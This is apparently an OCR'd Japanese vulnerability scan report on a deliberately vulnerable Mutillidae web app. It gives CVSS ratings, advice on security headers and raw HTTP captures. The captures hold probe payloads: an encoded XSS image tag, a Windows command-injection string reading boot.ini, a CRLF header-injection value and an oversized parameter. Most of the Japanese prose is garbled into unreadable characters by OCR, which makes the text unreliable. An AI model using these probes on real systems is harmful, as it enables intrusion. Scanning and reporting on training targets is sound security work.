_SC"AN_

_SC"AN_
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| 6 | 24
3.8. tFaT7EED XU

LT3

secureBEMNREINTVEE A,
CookielCsecureBHEMNTMET N TWVARWES . HTTPEEDKRICCookieMIEEBILENTITRETh T T,
FDH. HTTPSEER DISEMHI RN S N/zCookieE BIEI N B FHEMNH Y T,

X$5R

HTTPSIC L 2 BETY 1 MM ERIN TV R HBEIE.
CookielCsecureBMEBRET 2 L EHBVWEZLET,

RHFER

URL http://163.43.26.120/mutillidae/
Ay R GET

INSA—=% showhints

el

R ERR

RTF—H2I—R
S %4 Set-Cookie: showhints=1

avFvY

T ERS 0.079
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AVIOIRNSTY
| GET http://163.43.26.120/mutillidae/
AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

VI ITINRT 4

O HTTPZF—4 2
| 200 ok

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:44:35 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Set-Cookie: PHPSESSID=ibesi96k5a03bdlds63070igd5; path=/, showhints=1
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html

S LRRYRRT «

1 : <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd">

2 : <html>

3 : <head>

4 :  <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />

5: <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />

6 <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />

7: <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />

8
9
1

1 <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
0: <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
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No. URL AVYER  NKSA—% mE AR
1 http://163.43.26.120/mutillidae/ GET  PHPSESSID Set-Cookie: PHPSESSID=ibesi96k5a03bdIds63070igd5; path=/

2 http://163.43.26.120/mutillidae/ GET showhints Set-Cookie: showhints=1
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[ {6 | 21
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AVIOIRNSTY
| GET http://163.43.26.120/mutillidae/
AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

VI ITINRT 4

O HTTPZF—4 2
| 200 ok

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:44:36 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Set-Cookie: PHPSESSID=90k?264jaj2377k6nsjavtakeed; path=/, showhints=1
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html

S LRRYRRT «

1 : <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd">

2 : <html>

3 : <head>

4 :  <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />

5: <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />

6 <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />

7: <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />

8
9
1

1 <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
0: <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>




Confidential

Page 43 of 92

CVSS 2.0

sEAERE®: 5.0 &+

ACHREZRHDEHS HE  M:A B
AuKERIOREES M:AE%  S:E—
CHEBEANDRE N:7%& U C:E2mEm
I EEEANDRE PERPHY  C:EEM
AT A DB Pl  CREN
CVSS 3.1

AV:IETX D AfiERy cD—2  LO—A)L  P:HE
ACIREBRHEDEHS H:E

— m—

C:HZMEANDFE N2 U AEER H:E

ST MEADRE L& H5

AT A D EE LiE H&S



Confidential
Page 44 of 92
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No. URL AVYER  NKSA—% mE AR
1 http://163.43.26.120/mutillidae/ GET  PHPSESSID Set-Cookie: PHPSESSID=90k264jaj2377k6nsjavtakee6; path=/

2 http://163.43.26.120/mutillidae/ GET showhints Set-Cookie: showhints=1
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Ay
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PVIITRNSAY
I GET http://163.43.26.120/mutillidae/index.php?page=home.php.debug&popUpNotificationCode=HPHO
PVIIZARAY S

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: showhints=1; PHPSESSID=2qupu2d8libp99Inpbbdsodqo5

AU I TARRT 1

O HTTPZF—4 2
| 200 ok

O LRARYZAY S

Date: Mon, 12 Dec 2022 02:44:36 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7655

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

S LRRYRRT «

1 : <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd">

2 : <html>

3 : <head>

4 :  <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />

5: <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />

6 <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />

7: <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />

8
9
1

1 <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
0: <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
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No. URL AVYER KSA—% BE KRR

1 http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotificationCode=HPHO GET page 200
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URL http://163.43.26.120/mutillidae/index.php?page=home.php.back&popUpNotificationCode=HPHO
AYyR GET
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PVIITRNSAY
I GET http://163.43.26.120/mutillidae/index.php?page=home.php.back&popUpNotificationCode=HPH0
PVIIZARAY S

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: showhints=1; PHPSESSID=2qupu2d8libp99Inpbbdsodqo5

AU I TARRT 1

O HTTPZF—4 2
| 200 ok

O LRARYZAY S

Date: Mon, 12 Dec 2022 02:44:38 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7649

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

S LRRYRRT «

1 : <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd">

2 : <html>

3 : <head>

4 :  <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />

5: <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />

6 <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />

7: <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />

8
9
1

1 <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
0: <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>




Confidential

Page 51 of 92

CVSS 2.0

sEAERE®: 5.0 &+

ACHREZRHDEHS HE  M:A B
AuKERIOREES M:AE%  S:E—
CHEBEANDRE N:7%& U C:E2mEm
I EEEANDRE PERPHY  C:EEM
AT A DB Pl  CREN
CVSS 3.1

AV:IETX D AfiERy cD—2  LO—A)L  P:HE
ACIREBRHEDEHS H:E

— m—

C:HZMEANDFE N2 U AEER H:E

ST MEADRE L& H5

AT A D EE LiE H&S



Confidential
Page 52 of 92

IS REEA—E

No. URL AVYE RSA—% BE NERRE
1 http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotificationCode=HPHO GET page 200

2 http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotificationCode=HPHO GET page 200
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=
ISA—HTREEUVRMEN. LRARYZIANY ST —ATERINTVET,
BITI— RMRAAFBERBE. HIMLOBTADFRET T,
PAES
| R A—s L UTRELEEEL Ry ZAY P —E LT, BRLAVESEETSC EARESNET,
RHHER
URL http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=%27%22%3E%3CIMG%20SRC%3D%22/-%403595-64%40-
/_SCAN_.htm|%22%3E
AVY R GET
RSA—%
ez
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APUVIIRRSTY

GET http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=%27%22%3E%3CIMG%20SRC%3D%22/-%403595-64%40-/_SC
AN_.htm|%22%3E

AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: showhints=1; PHPSESSID=5lv7n9ldq9703iuaim9ravr4t6

VI ITINRT 4

O HTTPZF—4 2
| 302 Found

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:46:04 GMT

Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set-Cookie: showhints=0

Location: /mutillidae/index.php?popUpNotificationCode=L 1H0&page=%27%22%3E%3CIMG%20SRC%3D%22/-%403595-64%40-
/-SCAN_.htmI|%22%3E

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

© LRV RRT 4
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APUVIIRRSTY

GET http://163.43.26.120/mutillidae/index.php?popUpNotificationCode=L 1H0&page=%27%22%3E%3CIMG%20SRC%3D%22/-%40359
5-64%40-/_SCAN_.html%22%3E

AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: showhints=0; PHPSESSID=5Iv7n9ldq9703iuaim9ravr4té

VI ITINRT 4

O HTTPZF—4 2
| 200 ok

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:46:04 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7650

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

© LRV RRT 4

1: <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd">

2 : <html>

3 : <head>

4 :  <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />

5: <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />

6: <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />

7 <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />

8
9
1

<script type="text/javascript" src="./javascript/bookmark-site.js"></script>
0: <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
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APVIOITRANSA Y
I GET http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.php.debug
PVIIRARAYS

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: PHPSESSID=7hbgp800leggn3bmf3j4ki7c11

AVIIRNRT 1

S HTTPRT—% X
I 500 Internal Server Error

O LARYAANY S

Date: Mon, 12 Dec 2022 02:47:49 GMT

Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 0

Connection: close

Content-Type: text/html

© LRV RART 4
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IS REEA—E

No. URL AVYRNRSA—45 BE NSRR
http://163.43.26.120/mutillidae/webservices/soap/ws-user-account.php GET - 500
http://163.43.26.120/mutillidae/webservices/rest/ws-user-account.php GET - 500
http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator. GET - 500

php
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APUVIIRRSTY

GET http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.phpaaaaaaaaaaa
aaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaadaaaaaaaadaaadaaaaaaaaaaaadaaadaaaaaaaadaaaaaaaaaaaaaaaadaaadaaaaaaaadaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaadaaaaaaaadaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaadaaaadaaaadaaaadaaaadaaadaaaaaaaaadaaaadaaaadaaaadaaaadaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaadaaadaaaaaaaaaaaaaaaadaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaadaaadaaaaaaaaaaaaaaaadaaaaaaaadaaadaaaaaaaaaaaaaaaadaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaadaaaadaaaaaaaaaaaaaaaaaaaadaaaaaaaadaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaadaaaaaaaadaaadaaaaaaaaaaaadaaadaaaaaaaadaaadaaaaaaaaaaaadaaadaaaadaaadaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaadaaaaaaaadaaadaaaaaaaaaaaadaaadaaaaaaaadaaadaaaaaaaaaaaadaaadaaaaaaaadaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaadaaadaaaaaaaaaaaaaaaaaaaaa

AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: PHPSESSID=ii5rn0h08b7629r9ig3n0vukg3

VI ITINRT 4

S HTTPRT—% X
I 500 Internal Server Error

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:47:50 GMT

Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 0

Connection: close

Content-Type: text/html

N L ARV KT«
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HE—E
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No. URL AVYR RSA—% BE WK

1 http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generat GET  pagename 500
or.php
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{2 14
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LT3
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WebZ' S UYFHRHTTPL R7R Y R Dh& % ¥l L THEE L 7zContent-Type L (Z B S EEN 2 T3 e MH32d. TN LITLYVERL
BWEMEICRYRBBICRZ CERHYFET, TNERBETIEODL ARV AAY Y —ICBMT 2 EHELEFT,

+ X-XSS-Protection
WebZ' S DT ICXSST 1 )b ZBEENMED > TV BB ICEREIEICEEEBTNICTZEVWSHDTT,

PR

BUR—JICTFRDLRRYZAANY S —EBINT S & T, Y1 bADiframelc L2V IAHEEMWLT DN TEFET,

+ X-Frame-Options

EREHI

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

EREME
DENY ¥ hMAIDERICEEH 5T R—J T L—LRICKRRTEILI>TEZTEA,
SAMEORIGIN B EERTHRIC T L —LRICRY . R—IERRITBIEeMnTEET,

X-FRAME-OPTIONSH & /N\N—Y 3V
TSP N—-Iav

Internet Explorer 8.0l &

Safari 4.0 £

Firefox 3.6.9

Google Chrome 4.1.249.1042 £
Opera 10.5 E

+ X-Content-Type-Options
EREHI
X-Content-Type-Options: nosniff

+ X-XSS-Protection
EXEHI
X-XSS-Protection "1; mode=block"

RH#ER
URL http://163.43.26.120/test.txt
AVyR GET
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AVIOITRNSAY

I GET http://163.43.26.120/test.txt

AVIIRAY S
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*
Connection: keep-alive

AV IITRNRT «

O HTTPZF—4 2
| 404 Not Found

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:44:22 GMT
Server: Apache

Content-Length: 269

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

N L ARV RRT 1

: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

: <html><head>

: <title>404 Not Found</title>

: </head><body>

: <h1>Not Found</h1>

: <p>The requested URL /test.txt was not found on this server.</p>
: <hr>

: <address>Apache Server at 163.43.26.120 Port 80</address>

: </body></html>

W 00 N O U B W N —
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CVSS 3.1
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IS REEA—E

No. URL

1 http://163.43.26.120/mutillidae/

AVY R

GET

RSA-%5

53

X-Content-Type-Options

AR
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5% 14
3.16.aAY kD&

=

BRELEZIAVED—ETT,
XEQZURLTHUOIAY MM EINTWVWESE., RPICHRH UZURLOARELTWVWET,

XP5R
IJXVFWEDﬁ(VEﬁ‘@A%ﬁEMOtiiﬁﬁﬁﬁﬁﬁéntw@mﬁﬁﬁbt<ﬁémo

RHFER

URL http://163.43.26.120/mutillidae/

AVyR GET

BT
R ERT

RF—523—R
vy
=D <l--

SR 0.063
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AVIOIRNSTY
| GET http://163.43.26.120/mutillidae/
AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: ?SCAN_%%0d%%0aSecAppHeader: SecurityScanner-@3591-64@-

Cookie: showhints=1; PHPSESSID=hh4c1tusuutqgjSrgoha2konl1

AU I TARRT 1

O HTTPZF—4 2
| 200 ok

O LRARYZAY S

Date: Mon, 12 Dec 2022 02:44:23 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048

Content-Type: text/html




Confidential
Page 73 of 92

N L ARV RRT 1

865 : </ul>

866 : </li>

867: </ul>

868 : <l-- <br style="clear: left" /> -->
869 : </div>

870 : <div>&nbsp;</div>

871 : <div class="label" style="text-align: center;">
909 : </td>

910: <td valign="top">

911 : <blockquote>

912: <!-- Begin Content -->

913 : <style>

914: af

915: font-weight: bold;

1142 : </tr>

1143 : </table>

1144 :

1145 : <l-- | think the database password is set to blank or perhaps samurai.

1146 : It depends on whether you installed this web app from irongeeks site or
1147 : are using it inside Kevin Johnsons Samurai web testing framework.

1148 : It is ok to put the password in HTML comments because no user will ever see
1149 : this comment. | remember that security instructor saying we should use the
1150 : framework comment symbols (ASP.NET, JAVA, PHP, Etc.)

1151 : rather than HTML comments, but we all know those

1152 : security instructors are just making all this up. --> <!-- End Content -->
1153 : </blockquote>

1154 : </td>

1155 : </tr>

1156 : </table>

1157 :

1158 :

1159 : <!-- Bubble hints code -->
1160 :

1161 : <script type="text/javascript">
1162 :  $(function() {
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IS REEA—E

No. URL AYy R KRS A—% Bne SR

1 http://163.43.26.120/mutillidae/ GET - <l--
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158 3
3.17.DirectoryZZ7EDIRH

BE
| Webt —1th B DBEDBVICE Y, BEDTF 1LY kU OBENRRTEET,
POE S

I%.‘:‘Bﬂ%?ﬁ‘bxﬁjﬁ‘étﬁ?«r Lo VD7 7eZERR, BEICITHNTVBAE SN E CHIERCIET W,

RHFER
URL http://163.43.26.120/icons/small/
AV R GET
NSA=%
PWINFS icons/small/
R E T

R7F—%23-F 403

Ay S

AVFTUY

T EEE 0.05
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AVIOITRNSAY

I GET http://163.43.26.120/icons/small/

AVIIRAY S
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*
Connection: keep-alive

AV IITRNRT «

S HTTPRT—% X
I 403 Forbidden

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:44:32 GMT
Server: Apache

Content-Length: 277

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

N L ARV RRT 1

: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
: <html><head>

: <title>403 Forbidden</title>

: </head><body>

: <h1>Forbidden</h1>

: <p>You don't have permission to access /icons/small/

: on this server.</p>

: <hr>

: <address>Apache Server at 163.43.26.120 Port 80</address>
0 : </body></html>

= O 00 N O U & W N =
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CVSS 2.0
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IS REEA—E

No.

1

2

3

URL
http://163.43.26.120/mutillidae/
http://163.43.26.120/mutillidae/

http://163.43.26.120/mutillidae/

GET

GET

GET

RSA-%5

E

403

403

403

MRS
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. 1548 14
3.18. A=V 7 RL XD

LT3

A=)V7RLRABEHENZFE LT,
WebR—=JIZBFNTWVBI AT RLRIE, 70— L > TNESTNEKBA-IVREICFAINTVET,
FRA—NWTZRLRETICRE7 7RG EDRARICFIAS NS AR HY FT,

X$5R

DEREVERIAARINTVBRI VR TAFTHEEDHEKES| I K CEICRYKEINZIBRENEFVET, ERLEVWA—ILT7RL
ZDBZBE. HBRLTLEST W,

RHFER

URL http://163.43.26.120/icons/README

AVYR GET

el

R BT

RT7T—=5R3—F
vy
aAvFUY kevinh@kevcom.com

T E R 0.046
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AVIOIRNSTY
| GET http://163.43.26.120/icons/README
AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

AV IITRNRT «

O HTTPZF—4 2
| 200 ok

O LRV ZAAYS

Date: Mon, 12 Dec 2022 02:44:32 GMT

Server: Apache

Last-Modified: Tue, 28 Aug 2007 10:47:54 GMT
ETag: "13f4-438c034968a80"

Accept-Ranges: bytes

Content-Length: 5108

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

N L ARV RRT 1

: These icons were originally made for Mosaic for X and have been

: included in the NCSA httpd and Apache server distributions in the

: past. They are in the public domain and may be freely included in any

: application. The originals were done by Kevin Hughes (kevinh@kevcom.com).
: Andy Polyakov tuned the icon colors and added a few new images.

W 00 N O U B W

: If you'd like to contribute additions to this set, contact the httpd
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W=
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RHFER

URL http://163.43.26.120/mutillidae/?page=%26%20type%20c%3A%5Cboot.ini%3B

AVYR GET
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vy
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AVIOIRNSTY
IGETIutm//163A3.2&120/muﬂHMae/?page=%26%20type%20c%3A%5CbootHﬂ%3B
AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: showhints=1; PHPSESSID=9f0qcrdc2g5meeg29sggim7p91

AU I TARRT 1

O HTTPZF—4 2
| 200 ok

O LRARYZAY S

Date: Mon, 12 Dec 2022 02:48:30 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7468

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
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© LRV RART 4

67 : <a href="index.php?page=login.php">Login/Register</a>
68 : </td>
69 : <td>|</td>
70: <td><a href="index.php?do=toggle-hints&page=& type c:\boot.ini;">Toggle Hints</a></td><td>|</td>
<a href="index.php?do=toggle-bubble-hints&page=& type c:\boot.ini;">Show Popup Hints</a></td>
7 : <td>|</td>
72: <td><a href="index.php?do=toggle-security&page=& type c:\boot.ini;">Toggle Security</a></td>
73: <td>|</td>
74 : <td><a href="index.php?do=toggle-enforce-ssl&page=& type c:\boot.ini;">Enforce SSL</a></td>
75: <td>|</td>
76 : <td><a href="set-up-database.php">Reset DB</a></td>
77 <td>|</td>
934 : </span>
935: <span style="white-space: nowrap; font-weight: bold;"
936 : title="Click here to see the primary goal of this page. (Additional vulnerabilities will exist on a page)">
937: <a href="./includes/pop-up-help-context-generator.php?pagename=& typec:\boot.ini;"
938 : class="colorbox"
939: title="Help me with page & typec:\boot.ini;" style="color: #000000;">
940 : <img alt="Help Me!" align="middle" src="./images/help-easy-button-48-48.png" />
CVSS 2.0

EAEEE 5.0 &

<td>

ACHEBERHDEHMS HE  MA S
AuRERT DR RS MRS S:E—
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IS REEA—E

No. URL AVYRNRSA—5 BE HERR
http://163.43.26.120/mutillidae/index.php?page=login.php GET - c\
http://163.43.26.120/mutillidae/index.php?do=toggle-hints&amp;page=login.php GET - c\
http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathToDocument=documentation/ GET - c\

how-to-access-Mutillidae-over-Virtual-Box-network.php

http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&amp;iv=6bc24fc1ab650b25b4 11 GET - c\
4e93a98f1eba
http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&amp;page-to-frame=styling.php?page-title GET - c\

=Styling+with+Mutillidae
http://163.43.26.120/mutillidae/index.php?page=password-generator.php&amp;username=anonymous GET - c\
http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1 GET - c\

http://163.43.26.120/mutillidae/?page=add-to-your-blog.php GET - c:\



Confidential
Page 89 of 92

Appendix
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